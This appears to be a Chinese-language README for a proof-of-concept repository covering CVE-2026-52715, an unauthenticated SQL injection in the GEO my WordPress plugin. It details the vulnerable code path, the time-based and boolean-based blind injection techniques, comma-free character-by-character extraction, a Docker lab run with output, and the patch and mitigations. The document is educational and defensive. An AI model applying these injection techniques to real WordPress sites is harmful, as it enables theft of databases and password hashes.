686f6c61/poc-geoleak-cve-2026-52715CVE-2026-52715（GeoLeak）的功能性PoC：GEO my WordPress <= 4.5.5 中通过 swlatlng/nelatlng 实现的未认证 SQLi。Docker 实验室 + 基于时间/基于布尔的漏洞利用 + 载荷中无逗号的渗出。
GeoLeak（CVE-2026-52715）的教育性概念验证，针对 WordPress 插件 GEO my WordPress <= 4.5.5 的未认证 SQL 注入漏洞（CVSS 9.3）。地图边界的
swlatlng和nelatlng参数在 WHERE 子句中被直接拼接，未经过任何净化处理。包含自包含 Docker 实验室 + 利用 time-based、boolean-based 和逐字符数据外泄技术的漏洞利用脚本。
CVE-2026-52715 是 GEO my WordPress 插件中 gmw_get_locations_within_boundaries_sql() 函数的 SQL 注入漏洞（CWE-89），影响所有 <= 4.5.5 版本，自 4.5.5.1（2026 年 6 月 15 日）起已被修补。该漏洞由研究员 alvarodh5 发现，并通过 Patchstack 发布。
这条被命名为 GeoLeak 的攻击链展示了，攻击者仅需对包含 [gmw] 短代码的任何公共页面具有读取访问权限，就可以：
swlatlng（或 nelatlng）参数注入任意 SQL，无需 cookie、无需 nonce、无需身份验证。SLEEP()（时间盲注）强制产生可测量的延迟，该延迟针对 wp_gmw_locations 的 INNER JOIN 逐行进行计算。"total_results":N 判定条件，推断布尔条件（布尔盲注）。CASE WHEN 和 SUBSTRING(x FROM n FOR 1) 逐字符外泄整个数据库，同时避开 payload 不能包含逗号的限制（PHP 使用 explode(',', ...) 对值进行切分）。最终结果是可任意读取 WordPress 数据库：wp_users 表（密码哈希）、配置选项、密钥以及存储在插件中的第三方数据。
在 PoC 中，仅通过 GET 请求即可验证完整提取 MariaDB 的 VERSION()。
本仓库包含严格意义上的教育性和防御性材料。
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl 和 awkdocker-compose.yml 中更改映射）POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
漏洞利用脚本的可配置参数：
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
WordPress 访问地址：http://localhost:3080，使用 admin/admin。包含漏洞表单的页面为 http://localhost:3080/?page_id=5。
注意：
wp_gmw_locations中的种子行是必不可少的。查询会与该表进行 INNER JOIN：如果没有行，注入的 WHERE 条件不会被执行，SLEEP()也不会生效。
针对实验室最后一次执行的真实输出（2026 年 8 月 14 日）：
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
直接针对数据库的交叉验证：
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
针对已修补版本（>= 4.5.5.1）时，time-based 阶段会在毫秒级响应，PoC 将以 [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1) 结束。
包含代码片段和精确行号的完整详情，请参阅 docs/analisis-tecnico.md。要点如下：
gmw_get_locations_within_boundaries_sql() 将 {$sw[0]}、{$sw[1]}、{$ne[0]}、{$ne[1]} 直接拼接到 WHERE 子句中（四个位置均可注入）。gmw_get_form_values() 使用 parse_str() 处理完整的查询字符串，且没有白名单。explode(',', $southwest)。PoC 使用 CASE WHEN a THEN b ELSE c END 代替 IF(a,b,c)，并使用 SUBSTRING(x FROM n FOR 1) 代替 SUBSTRING(x,n,1)。"total_results":N；漏洞利用脚本会校准长度范围（-10..1），使种子行在条件为真时能够存活。wp_posts.* 的列以及 gmw 字段）；error-based 不实用（wpdb 会静默处理错误）。wp_ajax_nopriv_* 处理程序要么不执行 SQL（免费版），要么受 nonce 保护。在免费版中，该 CVE 的攻击向量是表单的 GET 请求。完整的真实 diff 请参阅 docs/diff-parche-4.5.5.1-gmw-functions.php.diff。在 4.5.5 和 4.5.5.1 之间，仅有三个文件存在差异（版本文件 geo-my-wp.php、更新日志 readme.txt 和 includes/gmw-functions.php）：
gmw_parse_latlng_boundary()：要求恰好包含 2 个有限的数值部分，且 |lat| <= 90、|lng| <= 180。gmw_get_form_values() 使用 unset() 丢弃未通过验证的值。$wpdb->prepare() 和 %f 占位符重写。插件当前版本：4.5.5.3（2026 年 7 月），已修补。
swlatlng/nelatlng 中的非数值内容，或采用虚拟补丁（Patchstack 及类似方案）。[gmw] 表单是否需要按地图边界进行搜索。swlatlng/nelatlng 模式的访问。wp_users 的哈希，因为注入漏洞允许读取这些哈希。